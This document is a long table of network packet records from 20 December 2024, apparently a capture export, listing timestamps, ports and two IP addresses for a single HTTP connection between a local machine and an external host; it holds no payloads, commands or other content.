Dec 20, 2024 16:06:57.996212006 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.996264935 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.996836901 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.996891022 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.997133017 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.997181892 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.997662067 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.997714996 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.997750998 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.997790098 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.998610020 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.998672962 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.998838902 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.998888016 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.999486923 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.999541998 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.082288027 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.082304955 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.082468987 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.082726002 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.082742929 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.082829952 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.083530903 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.083590984 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.083746910 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.083798885 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.084450960 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.084496975 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.084677935 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.084724903 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.085310936 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.085504055 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.085549116 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.086298943 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.086349964 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.086591959 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.086642981 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.087203979 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.087258101 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.087874889 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.087934017 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.088336945 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.088390112 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.151531935 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.151635885 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.151730061 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.151788950 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.151915073 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.151932001 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.151985884 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.152842999 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.152913094 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.153070927 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.153126001 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.153739929 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.153888941 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.153956890 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.154921055 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.155029058 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.155430079 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.155493021 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.156068087 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.156136990 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.156680107 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.156744957 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.156918049 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.156930923 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.156975031 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.157002926 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.157911062 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.157923937 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.158030033 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.158555031 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.158638000 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.159301996 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.159343958 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.159365892 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.159373999 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.159394026 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.159418106 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.160239935 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.160300016 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.160514116 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.160579920 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.161367893 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.161959887 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.162013054 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.162060022 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.162116051 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.162132025 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.162162066 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.162184000 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.163259029 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.163320065 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.163927078 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.163944006 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.163994074 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.164097071 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.164217949 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.165252924 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.165271044 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.165324926 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.165363073 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.165937901 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.166337013 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.166397095 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.166764975 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.166779041 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.166817904 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.166843891 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.167591095 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.167749882 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.167809010 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.168716908 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.168776035 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.169358969 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.169465065 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.169477940 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.169524908 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.170562029 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.170639038 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.170728922 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.170775890 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.171309948 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.171334982 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.171370983 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.171390057 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.172543049 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.172595024 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.172754049 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.172804117 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.173229933 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.173242092 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.173285961 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.174448967 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.174714088 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.174771070 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.174985886 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.174998045 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.175033092 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.175954103 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.176043987 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.176062107 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.176115990 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.176805973 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.176891088 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.176940918 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.177757025 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.177809954 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.177896023 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.177948952 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.178807974 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.178859949 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.179727077 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.179738998 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.179744959 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.179812908 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.180563927 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.180629015 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.181497097 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.181508064 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.181575060 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.181689024 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.181737900 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.182391882 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.182446003 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.183191061 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.183250904 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.183350086 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.183410883 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.183438063 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.183485031 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.184211969 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.184278011 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.184729099 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.184803009 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.185149908 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.185206890 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.185229063 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.185261965 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.186121941 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.186177969 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.186623096 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.186683893 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.187316895 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.187393904 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.187525988 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.188165903 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.188178062 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.188232899 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.188893080 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.188952923 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.189169884 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.189219952 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.189954042 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.190021038 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.190419912 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.190476894 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.190700054 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.190752983 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.190912962 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.190969944 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.191720963 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.191790104 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.191817045 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.191864967 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.192783117 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.192909956 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.192969084 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.193547964 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.193598032 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.280658960 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.280714035 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.280736923 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.280805111 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.281212091 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.281275034 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.281331062 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.281620979 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.282082081 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.282156944 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.282584906 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.282639980 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.282968044 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.282979965 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.283020020 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.283036947 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.283883095 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.284107924 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.284178019 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.284884930 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.285140038 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.285326958 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.285377979 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.285816908 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.285861969 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.285865068 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.285911083 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.343605042 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.344055891 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.344069958 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.344086885 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.344196081 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.344260931 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.344804049 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.345226049 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.345294952 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.345822096 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.345834970 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.345885992 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.346597910 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.346745014 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.346801996 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.347516060 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.347572088 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.347737074 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.347784042 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.348434925 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.348485947 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.348603010 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.348649025 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.349373102 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.349400043 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.349442959 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.350260973 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.350303888 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.350548983 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.350591898 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.351227045 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.351511002 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.351552963 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.352113008 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.352153063 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.352332115 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.352375031 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.353075027 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.353127003 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.353137970 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.353178024 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.354032040 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.354078054 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.354119062 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.354160070 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.354928970 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.354979992 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.355601072 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.355645895 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.355657101 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.355724096 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.356322050 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.356378078 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.356499910 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.356548071 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.357203007 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.357237101 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.357285976 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.358362913 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.358417988 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.359002113 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.359050989 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.359210014 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.359235048 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.359255075 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.359273911 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.360353947 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.360404015 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.360563993 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.360608101 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.361023903 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.361151934 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.361198902 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.361800909 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.361864090 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.362085104 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.362128019 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.362757921 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.362807035 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.363032103 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.363075018 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.363692045 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.363707066 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.363765955 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.364638090 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.364675045 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.364689112 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.364927053 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.365541935 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.365586042 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.365658045 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.365720034 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.366487980 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.366542101 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.367069960 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.367116928 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.367381096 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.367422104 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.367850065 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.367893934 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.368300915 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.368350029 CET	49769	80	192.168.2.5	185.215.113.206
